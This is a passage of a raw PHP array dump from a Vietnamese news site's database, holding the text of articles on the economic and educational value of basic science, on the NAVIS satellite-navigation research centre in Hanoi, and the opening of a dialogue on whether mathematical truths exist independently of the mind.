lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> 2.4. Giáo dục</div> <div> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '20160616031004d7c6beba6c2283f4ef1e8cc43783f320.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '64718', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '713', 'rght' => '714', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '411', 'name' => 'Áp lực từ hợp tác quốc tế', 'code' => null, 'alias' => 'ap-luc-tu-hop-tac-quoc-te', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Là một đơn vị nghiên cứu công nghệ định vị sử dụng vệ tinh tại Đông Nam Á, một lĩnh vực có ý nghĩa quan trọng với mọi mặt của đời sống, Trung tâm Quốc tế Nghiên cứu Phát triển Định vị sử dụng vệ tinh (NAVIS) phải tự tìm hướng đi tiếp theo cho mình để phát triển.</div> <div> <br /> <strong><img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (3).jpg" style="width: 250px; height: 188px;" /><br /> <br /> “Phát triển đội ngũ, nhưng phải ‘tinh’”</strong></div> <div> </div> <div> Vào năm 2008, Liên minh Châu Âu thông qua Chương trình khung thứ 7 về nghiên cứu và phát triển công nghệ (FP7) đã tài trợ Dự án SEAGALvới sự tham gia của 5 nước đối tác Châu Âu và Châu Á. Mục tiêu chính của Dự án là thiết lập một trung tâm quốc tế chuyên về công nghệ định vị sử dụng vệ tinh (Global Navigation Satellite System – GNSS) đặt tại Trường Đại học Bách Khoa Hà Nội (ĐHBKHN) với các hoạt động đa dạng từ nghiên cứu phát triển, đến quảng bá, đào tạo, chuyển giao công nghệ, tư vấn chính sách liên quan đến công nghệ GNSS cho các nước trong khu vực Đông Nam Á. Kết quả của dự án là sự ra đời của Trung tâm Quốc tế NC&PT Công nghệ định vị sử dụng vệ tinh (NAVIS) vào tháng 10/2010. Trung tâm hiện tại có sự tham gia trực tiếp của các đối tác Việt Nam, và Italy thông qua mô hình đồng giám đốc được thực hiện từ tháng 2/2012.</div> <div> </div> <div> Từ ngày thành lập, NAVIS đã và đang tham gia chủ trì và thực hiện hàng chục đề tài, dự án nghiên cứu khoa học (NCKH) với các đối tác Châu Âu, Úc và Nhật Bản tập trung vào các lĩnh vực: (i) định vị đa hệ thống GNSS; (ii) phương pháp và hạ tầng định vị chính xác (mm/cm); (iii) giám sát môi trường sử dụng GNSS; (iv) các dịch vụ hướng vị trí; và (v) đảm bảo an ninh trong định vị (chống phá sóng, và giả mạo tín hiệu). Trong đó, nổi bật nhất là Dự án FP7 Growing NAVIS, do EU tài trợ, với sự tham gia của 10 đối tác quốc tế từ Châu Âu, Châu Á và Châu Đại Dương, với nhiều hoạt động trên tất cả các lĩnh vực của Trung tâm, nhằm mục đích phát triển NAVIS thực sự trở thành một trung tâm hàng đầu về công nghệ GNSS tại khu vực Đông Nam Á.</div> <div> </div> <div> “Tại thời điểm hiện tại, chúng tôi coi hợp tác quốc tế, cũng như triển khai các đề tài, dự án nghiên cứu khoa học các cấp là trọng tâm, tuy nhiên, để phát triển bền vững, chúng tôi phải sống “được” với các sản phẩm nghiên cứu khoa học của mình. Đó vừa là sự quyết tâm, vừa là trách nhiệm của chúng tôi với sự đầu tư của xã hội! Không còn cách nào khác!!!”, TS. Tạ Hải Tùng nói.</div> <div> NAVIS đã và đang chứng tỏ được vai trò quốc tế của mình trong khu vực thông qua ba năm liền tổ chức nhiều hội thảo, hội nghị, và trường hè quốc tế hàng năm về công nghệ GNSS: NAVIS phối hợp với Diễn đàn định vị đa hệ thống châu Á (Multi-GNSS Asia), Uỷ ban quốc tế của LHQ về GNSS(ICG)… tổ chức Hội nghị cấp vùng Châu Á và Châu Đại dương về công nghệ GNSS (AOR), trong đó, hội nghị AOR-2013 đã được tổ chức thành công tại ĐHBK HN với sự tham gia của gần 200 khách quốc tế đến từ 17 quốc gia và vùng lãnh thổ.</div> <div> </div> <div> NAVIS cũng trở thành địa chỉ hợp tác về GNSS đáng tin cậy của các tổ chức quốc tế về hàng không vũ trụ trên thế giới, qua việc đang vận hành 2 hệ thống trạm giám sát chất lượng tín hiệu định vị GNSS nằm trong mạng lưới toàn cầu của Cơ quan NC&PT hàng không vũ trụ Nhật Bản (JAXA), Cơ quan Vũ trụ Châu Âu (ESA), cũng như hợp tác chặt chẽ với Trung tâm nghiên cứu hỗn hợp trực thuộc Uỷ ban Châu Âu (EC) trong nghiên cứu tác động của tầng điện ly tại khu vực cận xích đạo lên chất lượng dịch vụ định vị.</div> <div> </div> <div> Việc hợp tác quốc tế, nhất là trong triển khai các dự án, đề tài NCKH với các đối tác hàng đầu trong lĩnh vực, tạo ra sức ép lớn với NAVIS trong việc thu hút, và phát triển đội ngũ nghiên cứu trình độ cao trong một lĩnh vực công nghệ cao, đầy mới mẻ không chỉ với Việt Nam mà còn trên thế giới. TS. Tạ Hải Tùng – Giám đốc Trung tâm chia sẻ: “Khi mới thành lập, Trung tâm chỉ có duy nhất 2 người được đào tạo chuyên sâu trong lĩnh vực. Làm thế nào để phát triển đội ngũ, mà phải “tinh” với kỹ năng làm việc quốc tế, chứ không chạy theo số lượng, trong bối cảnh không có biên chế nghiên cứu màphải tự chủ về nguồn thu là câu hỏi đau đáu với ban Giám đốc Trung tâm lúc bấy giờ”. Với sự ủng hộ mạnh mẽ của Ban Giám hiệu nhà Trường trong việc cung cấp cơ chế mở, cũng như hỗ trợ hết mình cho hợp tác quốc tế phát triển Trung tâm. NAVIS đã dần dần thu hút được các nhà khoa học trẻ trong trường, những người “bị” thuyết phục bởi kế hoạch và tiềm năng dài hạn của NAVIS để chấp nhận chuyển đổi hướng nghiên cứu theo định hướng của Trung tâm. Tuy nhiên, những người “dũng cảm” như thế không nhiều, vì vậy, NAVIS phải tự xây dựng đội ngũ thông qua đào tạo và giữ lại công tác các sinh viên xuất sắc của Trường ĐHBK Hà Nội và gửi hàng chục sinh viên theo các chương trình thực tập ngắn hạn, Thạc sỹ và Tiến sỹ trong chuyên ngành GNSS tại Châu Âu và Úc. Nhiều người trong số họ đã trở về, đóng góp lớn vào sự thành công bước đầu của Trung tâm. Và thực tế này lại đặt Trung tâm dưới một sức ép mới, làm sao để giữ những con người như vậy.</div> <div> </div> <div> <strong>“Đi bằng hai chân”</strong></div> <div> </div> <div> Với tầm quan trọng ngày càng gia tăng của định vị sử dụng vệ tinh trong mọi lĩnh vực của đời sống, từ dẫn đường, theo dõi đối tượng; đến nông nghiệp chính xác, giám sát môi trường, đồng bộ giao dịch tài chính, ngân hàng, viễn thông, năng lượng; cũng như những ứng dụng thiết yếu trong an ninh quốc phòng;nhiều nước trên thế giới đã và đang tự phát triển hệ thống vệ tinh định vị của riêng mình như Galileo (Châu Âu), GLONASS (Nga), Beidou (Trung Quốc), QZSS (Nhật Bản), IRNSS (Ấn Độ)…</div> <div> </div> <div> Việt Nam chúng ta hiện chưa có hệ thống vệ tinh định vị của riêng mình, và việc sử dụng dịch vụ hoàn toàn dựa vào các hệ thống của nước ngoài. Vì vậy, môi trường định vị đa hệ thống với nhiều lựa chọn về công nghệ và dịch vụ mới có ý nghĩa vô cùng quan trọng đối với Việt Nam trong việc giảm bớt sự phụ thuộc vào một hệ thống riêng lẻ, nâng cao độ chính xác, và đặc biệt là tính sẵn sàng và độ tinh cậy của định vị sử dụng vệ tinh.</div> <div> </div> <div> Nhận thức được vấn đề đó, NAVIS đã nghiên cứu và chế tạo thành công bộ thu định vị đa hệ thống NAVISOFT. NAVISOFT có thể hoạt động được với tất cả các hệ thống GNSS hiện tại (bao gồm: GPS/GLONASS/Galileo/Beidou), cũng như hệ thống cấp khu vực QZSS của Nhật Bản. Sản phẩm này đặc biệt có ý nghĩa đặc biệt quan trọng trong các lĩnh vực đặc thù, nơi không phải độ chính xác mà độ tin cậy của kết quả định vị mới được quan tâm nhiều nhất. Với sản phẩm này, NAVIS đã được Cơ quan Vũ trụ Châu Âu (ESA) chứng nhận là một trong 50 đơn vị đầu tiên trên thế giới (một trong ba đơn vị tại Châu Á, cùng với Nhật Bản và Trung Quốc) đã sử dụng thành công dịch vụ định vị sử dụng vệ tinh của Galileo.</div> <div> </div> <div> Bộ thu độ chính xác cao NAVISA với các nghiên cứu cải tiến phù hợp với điều kiện hoạt động ngoài biển, kết hợp với các phần mềm xử lý, tính toán dữ liệu có thể giải quyết bài toán quan trọng liên quan đến theo dõi sự dịch chuyển và cảnh báo an toàn của nhà giàn chủ quyền trên biển Đông trong điều kiện thiên tai khắc nghiệt. Tuy nhiên, quy trình đề xuất, xét duyệt phức tạp, kéo dài, đã cản trở việc triển khai đề tài, dù ai cũng nhận ra tính cấp bách của nó.</div> <div> <br /> Ngoài ra, người sử dụng thông thường chỉ làm quen với các dịch vụ định vị tiêu chuẩn với độ chính xác cỡ 5-10m, tuy nhiên, hiện tại công nghệ định vị chính xác (precise positioning) rất phát triển, cung cấp cho người sử dụng chuyên biệt trong các lĩnh vực như trắc địa, xây dựng bản đồ, điều khiển phương tiện tự hành… các dịch vụ định vị có độ chính xác rất cao (cỡ mm, cm). Tại Việt Nam, giá thành của các bộ thu định vị chính xác ngoại nhập, đặc biệt các bộ thu cho kết quả theo thời gian thực có giá thành từ vài trăm triệu đến cả tỷ đồng, là cản trở rất lớn tới sự ứng dụng của công nghệ quan trọng này. Trong bối cảnh đó, NAVIS đã chế tạo thành công bộ thu NAVISA với tính năng đáp ứng đầy đủ các tiêu chuẩn của một bộ thu định vị chính xác.“Nhưng con đường đưa sản phẩm KHCN vàothực tiễn không hề đơn giản. Sự cản trở đôi khi đến từ tâm lý nghi kỵ các sản phẩm NCKH do các nhà khoa học Việt Nam tạo ra của các doanh nghiệp cũng như các đơn vị có nhu cầu” TS. Tùng nói. Tuy nhiên, từng bước một, để xây dựng lòng tin, NAVIS tạo điều kiện cho các doanh nghiệp có nhu cầu dùng thử sản phẩm của mình, cán bộ đã đến tận hiện trường để chứng minh năng lực của thiết bị.</div> <div> </div> <div> Bên cạnh nghiên cứu ứng dụng, NAVIS cũng đang triển khai các định hướng nghiên cứu hàn lâm. Theo TS. Tạ Hải Tùng, “Bây giờ là thời điểm vàng để nghiên cứu định vị sử dụng vệ tinh”. Bởi đến năm 2020, khi các hệ thống ngoài GPS phát triển hoàn thiện, với hơn 30 vệ tinh từ tất cả các hệ thốngxuất hiện đồng thời tại mọi thời điểm (nhiều nhất trên toàn thế giới), Đông Nam Á sẽ là địa điểm “lý tưởng” cho nghiên cứu về định vị. Tuy nhiên do gần xích đạo nơi có tầng điện ly hoạt động bất thường, nênĐNA cũng là nơi có chất lượng dịch vụ định vị không tốt so với các khu vực ở vĩ độ cao. Vì vậy, những mô hình dự báo hoạt động của tầng điện ly của các hệ thống GNSS hiện nay (vốn được thiết kế tối ưu cho khu vực vĩ độ cao) đáp ứng không hiệu quả ở Đông Nam Á. Cùng với các đối tác, NAVIS đang tiến hành các nghiên cứu sử dụng tín hiệu GNSS để phân tích các đặc trưng của tầng điện ly trong khu vực, nhằm mục đích nâng cao chất lượng định vị. Bên cạnh đó, trung tâm cũng triển khai các nghiên cứu quan trọng liên quan tới “an ninh”trong định vị để giải quyết các bài toán liên quan đến phá sóng, và giả mạo tín hiệu GPS, có ý nghĩa tối quan trọng trong an ninh – quốc phòng.</div> <div> </div> <div> Là một tố chức nghiên cứu trong trường đại học, TS. Tạ Hải Tùng xác định NAVIS sẽ phải tập trung song song nghiên cứu ứng dụng và nghiên cứu hàn lâm mà anh gọi đó là “hai chân” của trung tâm: “Chúng tôi sẽ đầu tư về con người, kết hợp với các dự án trong nước và quốc tế để ‘đi bằng hai chân’. Nhưng về lâu dài, một đơn vị nghiên cứu cần phải có các sản phẩm nghiên cứu cụ thể và phối hợp với các doanh nghiệp, tổ chức để áp dụng vào thực tế. Điều này nếu thành công sẽ tạo ra nguồn thu ổn định lâu dài cho Trung tâm. Từ đó, chúng tôi sẽ đầu tư trở lại cho nghiên cứuhàn lâm, tạo điều kiện phát triển đội ngũ NCKH trình độ cao, sẵn sàng cho những thách thức, và cơ hội phát triển mới”.</div> ', 'images' => '201606160308358deddf03f08b1252c7983c2c650c0410.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '62952', 'slug' => 'ap-luc-tu-hop-tac-quoc-te', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '711', 'rght' => '712', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra 